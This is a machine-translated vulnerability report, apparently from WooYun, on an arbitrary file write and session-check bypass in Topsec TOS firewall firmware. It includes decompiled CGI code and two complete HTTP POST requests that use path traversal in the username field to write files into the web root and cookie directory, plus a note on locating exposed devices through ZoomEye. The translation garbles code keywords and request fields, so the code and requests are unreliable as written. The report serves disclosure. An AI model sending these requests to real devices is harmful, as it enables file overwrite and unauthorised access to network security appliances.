漏洞标题 天荣信TOS安全操作系统任意文件写覆盖影响众多系列产品 相关制造商 天融信 漏洞作者 Ano_Tom 提交时间 2016-03-16 09: 22 公共时间 2016-06-14 14: 00 漏洞类型 设计不当 危险等级 在 自我评估等级 10 漏洞状态 制造商已确认 标签标签 硬件安全,设计缺陷/边界旁路 漏洞详细信息 maincgi主文件具有类似注册的功能,它是认证权限之前的功能块loginRegister。 if(cgiFormCheckboxSingle((int)'loginSubmitIpt')) { if(cgiFormCheckboxSingle((int)'loginRegister')) { 如果(!strcmp(& s1,'VerifyCode')) { sub_805957A(); } 让我们来看看如果它是loginRegister会发生什么: LOBYTE(s)=0; Memset((char *)& s + 1,0,0x3FFu); cgiFormStringNoNewlines('user_name_tex',& src,32); //将参数username移除到src中 cgiFormStringNoNewlines('user_pass_pas',& v110,128); //删除参数密码 V92=sub_8053FCE(& src); //检查/www/user中是否存在用户名,没有返回0 如果(v92==1) { V93=(char *)*(& off_8253FA0 + lang_index); } 否则如果(v92==2) { V93=(char *)*(& off_8253FB0 + lang_index); } 其他 { s=2004317999; //由以下v97v98组成,形成字符串'/www/user /' V97=1702065455; V98=12146; V99=0; Strcat((char *)& s,& src); //用字符串s拼接用户名 V94=fopen((const char *)& s,'w +');可以看出,如果它不存在,它将直接fopen,它将是w + 如果(v94) { Fprintf(v94,'username=%s \ npassword=%s \ n',& src,& v110); //这是写的内容 FCLOSE(V94); V93=off_8253FA8 [lang_index]; } 其他 { V93=off_8253FB8 [lang_index]; } } initHttpHeader(); 放( '<脚本>'); Printf('alert(\'%s \');',v93); 放( 'self.close();'); 放( '< /脚本>'); 结果=0; 如您所见,如果用户名不存在,它将转到fopen('/www/user/username',w +)并写入内容。 w +是一种读写模式,可以创建不存在的文件,也可以清除现有文件进行覆盖。写入的内容不是完全可控的,但覆盖普通文件非常严重,几乎与任何文件删除相同。 我们来看一下权限验证的过程: 如果(ptr& * *(_ BYTE *)ptr)//这里和下面省略的地方是确定文件是否存在,可以存在绕过 { ... ... 如果(!strcmp(& s1,'Head')) { initHttpHeader(); sub_8054F70(); } 否则if(!strcmp(& s1,'Bottom')) { initHttpHeader(); sub_8054E16(); } 否则if(!strcmp(& s1,'Quit')) { V28=webui_logout(v4,g_vsid); Destroy_cookie_file(安培; unk_8226B20); 如果(!v28) sub_8054D50(); } 其他 { V24=webui_login(& v16,& dest,& v4,g_vsid);这里要获取会话内容以进行验证 .... } 可以看出,在判断会话是否存在于要认证的内容时,仍然可以在未经授权的情况下访问多个功能。例如,destroy_cookie_file()函数,如果你看一下发送的tos的漏洞,就可以知道它是命令执行。那么此漏洞是否可以绕过先前漏洞的修复程序? 漏洞证明: 在最后的命令执行漏洞中,已经证明影响的数量和设备的数量达到数万个,并且影响是企业,学校,政府和私人家庭无法承受的昂贵。设备。 这是一个漏洞的例子: 使用zoomeye搜索其中一个关键字topsec的第一个设备
1:文件写(由于同样的原因,它不会被证明,它会造成损害): 首先我们写一个文件 POST /cgi/maincgi.cgi?Url=Index HTTP/1.1 主机: **。**。**。**: 8080 用户代理: Mozilla/5.0(Windows NT 6.3; rv: 39.0)Gecko/20100101 Firefox/39.0 接受: text/html,application/xhtml + xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,en-US; q=0.5,en; Q=0.3 Accept-Encoding: gzip,deflate Referer:https://**。**。**。**: 8080 / Cookie: topsecsvportallogodir=default; topsecsvuilanguage=中国; login_err_num=0; topsecsvportalstyle=STYLE1; topsecsvportalname=默认值; cgid进行=eyfjuRy + e0gpWmv5nq0d9A==;附加码=l4SXkMKmfkuo0g2Ryew6dg=== 连接:保持活动状态 内容类型: application/x-www-form-urlencoded 内容长度: 95 User_name_tex=./htdocs中/站点/图像/wooyun&安培; user_pass_pas=here_can_write_128_bytes&安培;登录登录注册= 面试结果如下:
并非所有tos系统都是默认的root权限,但普通权限也可以允许此漏洞覆盖配置文件,Web文件等,从而导致设备缺陷。 2:部分权限绕过: 直接访问时
然后我们在cookie目录中写一个文件 POST /cgi/maincgi.cgi?Url=Index HTTP/1.1 主机: **。**。**。**: 8080 用户代理: Mozilla/5.0(Windows NT 6.3; rv: 39.0)Gecko/20100101 Firefox/39.0 接受: text/html,application/xhtml + xml,application/xml; q=0.9,*/*; q=0.8 Accept-Language: zh-CN,zh; q=0.8,en-US; q=0.5,en; Q=0.3 Accept-Encoding: gzip,deflate Referer:https://**。**。**。**: 8080 / Cookie: topsecsvportallogodir=default; topsecsvuilanguage=中国; login_err_num=0; topsecsvportalstyle=STYLE1; topsecsvportalname=默认值; cgid进行=eyfjuRy + e0gpWmv5nq0d9A==;附加码=l4SXkMKmfkuo0g2Ryew6dg=== 连接:保持活动状态 内容类型: application/x-www-form-urlencoded 内容长度: 84 User_name_tex=. /饼干/wooyun&安培; user_pass_pas=here_can_write_128_bytes&安培;登录登录注册= 然后我们将再次访问:
如您所见,权限验证已通过。我不知道上一个命令执行修复程序是否仅判断会话文件是否存在。否则,可以绕过这个。 修理计划: 最简单的方法是过滤所有输入并过滤掉目录跳转的字符。 版权声明:请注明出处Ano_Tom @乌云